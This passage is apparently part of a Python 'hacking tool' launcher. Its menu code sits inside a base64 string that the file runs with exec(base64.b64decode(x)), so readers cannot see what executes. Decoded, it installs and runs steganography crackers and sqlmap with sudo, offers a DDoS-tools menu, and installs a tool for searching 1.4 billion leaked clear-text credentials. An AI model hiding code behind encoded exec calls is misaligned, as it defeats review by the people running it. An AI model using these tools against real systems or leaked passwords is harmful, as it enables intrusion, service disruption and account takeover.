cGh5KCkKICAgIGVsaWYgY2hvaWNlID09ICIyIjoKICAgICAgICBjaG9pY2UxPWlucHV0KCJbMV1IaWRlIFsyXUV4dHJhY3QgPj4gIikKICAgICAgICBpZiBjaG9pY2UxID09IjEiOgogICAgICAgICAgICBmaWxlaGlkZT1pbnB1dCgiRW50ZXIgRmlsZW5hbWUgeW91IHdhbnQgdG8gRW1iZWQoMS50eHQpIDotICIpCiAgICAgICAgICAgIGZpbGV0b2JlaGlkZT1pbnB1dCgiRW50ZXIgQ292ZXIgRmlsZW5hbWUodGVzdC5qcGVnKSA6LSAiKQogICAgICAgICAgICBvcy5zeXN0ZW0oInN0ZWdoaWRlIGVtYmVkIC1jZiB7MH0gLWVmIHsxfSIuZm9ybWF0KGZpbGV0b2JlaGlkZSxmaWxlaGlkZSkpCiAgICAgICAgZWxpZiBjaG9pY2UxID09IjIiOgogICAgICAgICAgICBmcm9tZmlsZT1pbnB1dCgiRW50ZXIgRmlsZW5hbWUgRnJvbSBFeHRyYWN0IERhdGEgOi0gIikKICAgICAgICAgICAgb3Muc3lzdGVtKCJzdGVnaGlkZSBleHRyYWN0IC1zZiB7MH0iLmZvcm1hdChmcm9tZmlsZSkpCiAgICBlbGlmIGNob2ljZSA9PSAiOTkiOgogICAgICAgIHN0ZWdhbm9ncmFwaHkoKQogICAgZWxzZSA6CiAgICAgICAgbWVudSgpCgpkZWYgc3RlZ25vY3JhY2tlcigpOgogICAgb3Muc3lzdGVtKCJlY2hvIFwiIFN0ZWdhbm9DcmFja2VyIGlzIGEgdG9vbCB0aGF0IHVuY292ZXIgaGlkZGVuIGRhdGEgaW5zaWRlIGZpbGVzXG4gdXNpbmcgYnJ1dGUtZm9yY2UgdXRpbGl0eSAgXCJ8Ym94ZXMgLWQgYm95fCBsb2xjYXQiKQogICAgY2hvaWNlID0gKCJbMV1JbnN0YWxsIFsyXVJ1biBbOTldQkFjayAgPj4gIikKICAgIGlmIGNob2ljZSA9PSAiMSI6CiAgICAgICAgb3Muc3lzdGVtKCJwaXAzIGluc3RhbGwgc3RlZ2NyYWNrZXIgJiYgcGlwMyBpbnN0YWxsIHN0ZWdjcmFja2VyIC1VIC0tZm9yY2UtcmVpbnN0YWxsIikKICAgICAgICBzdGVnYW5vZ3JhcGh5KCkKICAgIGVsaWYgY2hvaWNlID09IjIiOgogICAgICAgIGZpbGUxPWlucHV0KCJFbnRlciBGaWxlbmFtZSA6LSAiKQogICAgICAgIHBhc3NmaWxlPWlucHV0KCJFbnRlciBXb3JkbGlzdCBGaWxlbmFtZSA6LSAiKQogICAgICAgIG9zLnN5c3RlbSgic3RlZ2NyYWNrZXIgezB9IHsxfSAiLmZvcm1hdChmaWxlMSxwYXNzZmlsZSkpCiAgICBlbGlmIGNob2ljZSA9PSAiOTkiOgogICAgICAgIHN0ZWdhbm9ncmFwaHkoKQogICAgZWxzZSA6CiAgICAgICAgbWVudSgpCgpkZWYgd2hpdGVzcGFjZSgpOgogICAgY2hvaWNlID1pbnB1dCgiWzFdSW5zdGFsbCBbMl1SdW4gWzk5XUJhY2sgPj4gIikKICAgIGlmIGNob2ljZSA9PSAiMSI6CiAgICAgICAgb3Muc3lzdGVtKCJzdWRvIGdpdCBjbG9uZSBodHRwczovL2dpdGh1Yi5jb20vYmVhcmRvZzEwOC9zbm93MTAuZ2l0ICIpCiAgICAgICAgb3Muc3lzdGVtKCJzdWRvIGNobW9kIC1SIDc1NSBzbm93MTAiKQogICAgICAgIHN0ZWdhbm9ncmFwaHkoKQogICAgZWxpZiBjaG9pY2UgPT0gIjIiOgogICAgICAgIG9zLnN5c3RlbSgiY2Qgc25vdzEwICYmIGZpcmVmb3ggaW5kZXguaHRtbCIpCiAgICBlbGlmIGNob2ljZSA9PSAiOTkiOgogICAgICAgIHN0ZWdhbm9ncmFwaHkoKQogICAgZWxzZSA6CiAgICAgICAgbWVudSgpCgpkZWYgc3FsdG9vbCgpOgogICAgY2xlYXJTY3IoKQogICAgb3Muc3lzdGVtKCJmaWdsZXQgLWYgc3RhbmRhcmQgLWMgU3FsIFRvb2xzIHwgbG9sY2F0IikKICAgIHByaW50KCIiIgogICAgICAgIFsxXSAgc3FsbWFwIHRvb2wKICAgICAgICBbOTldIEJhY2sKICAgICIiIikKICAgIGNob2ljZSA9aW5wdXQoIlo0bnp1ID0+PiAiKQogICAgaWYgY2hvaWNlID09ICIxIjoKICAgICAgICBjbGVhclNjcigpCiAgICAgICAgc3FsbWFwKCkKICAgIGVsaWYgY2hvaWNlID09ICI5OSI6CiAgICAgICAgbWVudSgpCiAgICBlbHNlIDoKICAgICAgICBtZW51KCkKCmRlZiBzcWxtYXAoKToKICAgIG9zLnN5c3RlbSgiZWNobyBcIlshXXNxbG1hcCBpcyBhbiBvcGVuIHNvdXJjZSBwZW5ldHJhdGlvbiB0ZXN0aW5nIHRvb2wgdGhhdCBhdXRvbWF0ZXMgdGhlIHByb2Nlc3Mgb2YgXG5kZXRlY3RpbmcgYW5kIGV4cGxvaXRpbmcgU1FMIGluamVjdGlvbiBmbGF3cyBhbmQgdGFraW5nIG92ZXIgb2YgZGF0YWJhc2Ugc2VydmVyc1wifGJveGVzIC1kIGJveSB8IGxvbGNhdCIpCiAgICB1c2VyY2hvaWNlID0gaW5wdXQoIlsxXUluc3RhbGwgWzJdUnVuIFs5OV1CYWNrID4+ICIpCiAgICBpZiB1c2VyY2hvaWNlID09ICIxIjoKICAgICAgICBvcy5zeXN0ZW0oInN1ZG8gZ2l0IGNsb25lIC0tZGVwdGggMSBodHRwczovL2dpdGh1Yi5jb20vc3FsbWFwcHJvamVjdC9zcWxtYXAuZ2l0IHNxbG1hcC1kZXYiKQogICAgICAgIHByaW50KCJEb3dubG9hZGVkIFN1Y2Nlc3NmdWxseS4uISEiKQogICAgICAgIHNxbHRvb2woKQogICAgZWxpZiB1c2VyY2hvaWNlID09ICIyIjoKICAgICAgICBvcy5zeXN0ZW0oImNkIHNxbG1hcC1kZXYgJiYgcHl0aG9uIHNxbG1hcC5weSAtaCIpCiAgICAgICAgb3Muc3lzdGVtKCJlY2hvIFwiWyFdcHl0aG9uIHNxbG1hcC5weSAtdSBbPGh0dHA6Ly9leGFtcGxlLmNvbT5dIC0tYmF0Y2ggLS1iYW5uZXIgXG5bIV1Gb3IgTW9yZSBVc2FnZSA6IGh0dHBzOi8vZ2l0aHViLmNvbS9zcWxtYXBwcm9qZWN0L3NxbG1hcC93aWtpL1VzYWdlIFwifGJveGVzIC1kIGJveSIpICAgIAogICAgZWxpZiB1c2VyY2hvaWNlID09ICI5OSI6CiAgICAgICAgc3FsdG9vbCgpCiAgICBlbHNlIDoKICAgICAgICBtZW51KCkKCmRlZiBvdGhlcnMoKToKICAgIHByaW50KCIiIgogICAgWzFdRGRvcyBBdHRhY2sgVG9vbHMKICAgIFsyXVNNV1lHLVNob3ctTWUtV2hhdC1Zb3UtR290ICgxLjQgQmlsbGlvbiBDbGVhciBUZXh0IFBhc3N3b3JkKQogICAgWzk5XUJBY2sKICAgICIiIikKICAgIGNob2ljZSA9IGlucHV0KCJaNG56dSA9Pj4iKQogICAgaWYgY2hvaWNlID09ICIxIjoKICAgICAgICBjbGVhclNjcigpCiAgICAgICAgRGRvcygpCiAgICBlbGlmIGNob2ljZSA9PSAiMiI6CiAgICAgICAgY2xlYXJTY3IoKQogICAgICAgIHNob3dtZSgpCiAgICBlbGlmIGNob2ljZSA9PSAiOTkiOgogICAgICAgIG1lbnUoKQogICAgZWxpZiBjaG9pY2UgPT0gIiI6CiAgICAgICAgb3RoZXJzKCkKICAgIGVsc2UgOgogICAgICAgIG1lbnUoKQoKZGVmIHNob3dtZSgpOgogICAgcHJpbnQoIiIiVGhpcyB0b29sIGFsbG93cyB5b3UgdG8gcGVyZm9ybSBPU0lOVCBhbmQgcmVjb25uYWlzc2FuY2Ugb24gYW4gb3JnYW5pc2F0aW9uIG9yIGFuIGluZGl2aWR1YWwuIAogICAgICAgIEl0IGFsbG93cyBvbmUgdG8gc2VhcmNoIDEuNCBCaWxsaW9uIGNsZWFyIHRleHQgY3JlZGVudGlhbHMgd2hpY2ggd2FzIGR1bXBlZCBhcyBwYXJ0IG9mIEJyZWFjaENvbXBpbGF0aW9uIAogICAgICAgIGxlYWsgVGhpcyBkYXRhYmFzZSBtYWtlcyBmaW5kaW5nIHBhc3N3b3JkcyBmYXN0ZXIgYW5kIGVhc2llciB0aGFuIGV2ZXIgYmVmb3JlLgogICAgICAgICAgICAiIiIpCiAgICB1c2VyY2hvaWNlID0gaW5wdXQoIlsxXUluc3RhbGwgWzJdUnVuIFs5OV1CYWNrID4+IikKICAgIGlmIHVzZXJjaG9pY2UgPT0gIjEiOgogICAgICAgIG9zLnN5c3RlbSgic3VkbyBnaXQgY2xvbmUgaHR0cHM6Ly9naXRodWIuY29tL1ZpcmFsbWFuaWFyL1NNV1lHLVNob3ctTWUtV2hhdC1Zb3UtR290LmdpdCIpCiAgICAgICAgb3Muc3lzdGVtKCJjZCBTTVdZRy1TaG93LU1lLVdoYXQtWW91LUdvdCAmJiBwaXAzIGluc3RhbGwgLXIgcmVxdWlyZW1lbnRzLnR4dCAiKQogICAgICAgIG90aGVycygpCiAgICBlbGlmIHVzZXJjaG9pY2UgPT0gIjIiOgogICAgICAgIG9zLnN5c3RlbSgiY2QgU01XWUctU2hvdy1NZS1XaGF0LVlvdS1Hb3QgJiYgcHl0aG9uIFNNV1lHLnB5IikKICAgIGVsaWYgdXNlcmNob2ljZSA9PSAiOTkiOgogICAgICAgIG90aGVycygpCiAgICBlbHNlIDoKICAgICAgICBtZW51KCkKCmRlZiB1cGRhdGVzeXMoKToKICAgIG9zLnN5c3RlbSgic3VkbyBhcHQgdXBkYXRlICYmIHN1ZG8gYXB0IGZ1bGwtdXBncmFkZSAteSIpCiAgICBvcy5zeXN0ZW0oInN1ZG8gYXB0LWdldCBpbnN0YWxsIHRvciBvcGVuc3NsIGN1cmwgJiYgc3VkbyBhcHQtZ2V0IHVwZGF0ZSB0b3Igb3BlbnNzbCBjdXJsICIpCiAgICBvcy5zeXN0ZW0oInN1ZG8gYXB0LWdldCBpbnN0YWxsIHB5dGhvbjMtcGlwIikKICAgIG1lbnUoKQoKZGVmIGNsZWFyU2NyKCk6CiAgICBpZiBzeXN0ZW0oKSA9PSAnTGludXgnOgogICAgICAgIG9zLnN5c3RlbSgnY2xlYXInKQogICAgaWYgc3lzdGVtKCkgPT0gJ1dpbmRvd3MnOgogICAgICAgIG9zLnN5c3RlbSgnY2xzJykKCmlmIF9fbmFtZV9fID09ICJfX21haW5fXyI6CiAgICBub3R1c2VyID1nZXRwYXNzLmdldHVzZXIoKQogICAgdXNlcj1vcy5nZXRlbnYoIlNVRE9fVUlEIikKICAgIHVuYW1lPW9zLmdldGVudigiU1VET19VU0VSIikKICAgIHRyeToKICAgICAgICBpZiBzeXN0ZW0oKSA9PSAnTGludXgnOgogICAgICAgICAgICAjIGlmIHBhdGguZXhpc3RzKCIvaG9tZS97MH0vRGVza3RvcC8iLmZvcm1hdCh1c2VyKSk6CiAgICAgICAgICAgICMgICAgIG9zLmNoZGlyKCIvaG9tZS97MH0vRGVza3RvcC8iLmZvcm1hdCh1c2VyKSkKICAgICAgICAgICAgIyAgICAgaWYgb3MucGF0aC5pc2RpcignaGFja2luZ3Rvb2wnKToKICAgICAgICAgICAgIyAgICAgICAgIG9zLmNoZGlyKCIvaG9tZS97MH0vRGVza3RvcC9oYWNraW5ndG9vbC8iLmZvcm1hdCh1c2VyKSkKICAgICAgICAgICAgIyAgICAgICAgIG1lbnUoKQogICAgICAgICAgICAjICAgICBlbHNlIDoKICAgICAgICAgICAgIyAgICAgICAgIG9zLnN5c3RlbSgibWtkaXIgaGFja2luZ3Rvb2wiKQogICAgICAgICAgICAjICAgICAgICAgb3MuY2hkaXIoIi9ob21lL3swfS9EZXNrdG9wL2hhY2tpbmd0b29sLyIuZm9ybWF0KHVzZXIpKQogICAgICAgICAgICAjICAgICAgICAgbWVudSgpCiAgICAgICAgICAgIGlmIG9zLmdldGV1aWQoKSAhPSAwOgogICAgICAgICAgICAgICAgb3MuY2hkaXIoIi9ob21lL3swfS9EZXNrdG9wLyIuZm9ybWF0KG5vdHVzZXIpKQogICAgICAgICAgICAgICAgaWYgb3MucGF0aC5pc2RpcignaGFja2luZ3Rvb2wnKToKICAgICAgICAgICAgICAgICAgICBvcy5jaGRpcigiL2hvbWUvezB9L0Rlc2t0b3AvaGFja2luZ3Rvb2wvIi5mb3JtYXQobm90dXNlcikpCiAgICAgICAgICAgICAgICAgICAgbWVudSgpCiAgICAgICAgICAgICAgICBlbHNlOgogICAgICAgICAgICAgICAgICAgIG9zLnN5c3RlbSgibWtkaXIgaGFja2luZ3Rvb2wiKQogICAgICAgICAgICAgICAgICAgIG9zLmNoZGlyKCIvaG9tZS97MH0vRGVza3RvcC9oYWNraW5ndG9vbC8iLmZvcm1hdChub3R1c2VyKSkKICAgICAgICAgICAgICAgICAgICBtZW51KCkKICAgICAgICAgICAgZWxpZiBvcy5nZXRldWlkKCkgPT0gMDoKICAgICAgICAgICAgICAgIG9zLmNoZGlyKCIvaG9tZS97MH0vRGVza3RvcC8iLmZvcm1hdCh1bmFtZSkpCiAgICAgICAgICAgICAgICBpZiBvcy5wYXRoLmlzZGlyKCdoYWNraW5ndG9vbCcpOgogICAgICAgICAgICAgICAgICAgIG9zLmNoZGlyKCIvaG9tZS97MH0vRGVza3RvcC9oYWNraW5ndG9vbC8iLmZvcm1hdCh1bmFtZSkpCiAgICAgICAgICAgICAgICAgICAgbWVudSgpCiAgICAgICAgICAgICAgICBlbHNlOgogICAgICAgICAgICAgICAgICAgIG9zLnN5c3RlbSgibWtkaXIgaGFja2luZ3Rvb2wiKQogICAgICAgICAgICAgICAgICAgIG9zLmNoZGlyKCIvaG9tZS97MH0vRGVza3RvcC9oYWNraW5ndG9vbC8iLmZvcm1hdCh1bmFtZSkpCiAgICAgICAgICAgICAgICAgICAgbWVudSgpCiAgICAgICAgZWxpZiBwYXRoLmV4aXN0cygnL2RhdGEnKToKICAgICAgICAgICAgb3MuY2hkaXIoImRhdGEvZGF0YS9jb20udGVybXV4L2ZpbGVzL2hvbWUvIikKICAgICAgICAgICAgaWYgb3MucGF0aC5pc2RpcignaGFja2luZ3Rvb2wnKToKICAgICAgICAgICAgICAgIG9zLmNoZGlyKCJkYXRhL2RhdGEvY29tLnRlcm11eC9maWxlcy9ob21lL2hhY2tpbmd0b29sLyIpCiAgICAgICAgICAgICAgICBtZW51KCkKICAgICAgICAgICAgZWxzZSA6CiAgICAgICAgICAgICAgICBvcy5zeXN0ZW0oIm1rZGlyIGhhY2tpbmd0b29sc3RvcmUiKQogICAgICAgICAgICAgICAgb3MuY2hkaXIoImRhdGEvZGF0YS9jb20udGVybXV4L2ZpbGVzL2hvbWUvaGFja2luZ3Rvb2wvIikKICAgICAgICAgICAgICAgIG1lbnUoKQogICAgZXhjZXB0IEtleWJvYXJkSW50ZXJydXB0OgogICAgICAgIAogICAgICAgIHByaW50KCJcbiBTb3JyeSAuLiEhISIpCiAgICAgICAgdGltZS5zbGVlcCgzKQoK''') +exec(base64.b64decode(x))